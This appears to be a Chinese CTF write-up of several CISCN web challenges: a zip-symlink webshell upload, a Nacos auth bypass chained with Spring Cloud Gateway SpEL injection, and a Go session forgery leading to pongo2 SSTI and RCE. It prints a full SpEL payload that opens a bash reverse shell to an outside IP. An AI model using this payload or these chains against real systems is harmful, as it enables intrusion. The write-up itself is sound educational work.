目录
Unzip
BackendService
go_session
deserbug
主打一个精简
Unzip
进来先是一个文件上传界面
右键查看源码,action=upload.php
直接访问/upload.php,看到后端的源码
就是上传一个压缩包,对其进行解包处理
因为其是在/tmp下执行的命令,所以可以用软链接来操作/var/www/html
先上传1.zip创建link目录软链接指向/var/www/html,再上传2.zip在/var/www/html目录下写马
命令执行即可
BackendService
参考文章:【Web】CVE-2022-22947 SpringCloud Gateway SpEL漏洞学习-CSDN博客
Nacos结合Spring Cloud Gateway RCE利用
NACOS漏洞问题及修复(CVE-2021-29441)_cve-2021-29441修复-CSDN博客
Nacos是一个开源的、易于使用的动态服务发现、配置管理和服务管理平台,用于构建云原生应用。它是阿里巴巴开源的项目之一,现已成为一个活跃的开源社区项目。Nacos旨在帮助您发现、配置和管理微服务。
Nacos支持几乎所有主流类型的“服务”的发现、配置和管理:包括Kubernetes服务、Docker服务、Spring Cloud RESTful服务等。
先添加新用户
拿123/123成功登录
注意到附件jar包里的配置文件
添加新的配置项
spring:
cloud:
gateway:
routes:
- id: exam
order: 0
uri: lb://service-provider
predicates:
- Path=/echo/**
filters:
- name: AddResponseHeader
args:
name: result
value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
内网后台bot访问/echo/123成功反弹shell
go_session
/路由下生成cookie
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
密钥为空,自己本地搭一次环境,把guest改为admin,访问/index.php,拿到cookie
MTcxMjUzNTQxOHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZaM1ZsYzNRPXwLWhvWxagb1aZ7sWcwrJ6pAXpccGHUriOY4Lk9HItK2A==
/admin路由下存在pongo2的SSTI
/flask路由对内网中的flaskWeb服务发起请求,并返回结果
随意传参报错,发现Flask框架是热加载的,/app/server.py发生改变,程序也会更新,可以利用admin路由执行Go代码去覆盖掉/app/server.py实现rce
XssWaf会转义双引号,可以通过HandlerName配合过滤器和Referer绕过传参
Context.HandlerName()在Admin()里,返回的就是main/route.Admin,
配合过滤器last获取到最后一个字符串也就是文件名为n
成功写入/app/server.py
命令执行拿到flag
deserbug
【Web】记录CISCN2023国赛初赛DeserBug题目复现_deserbug ctf-CSDN博客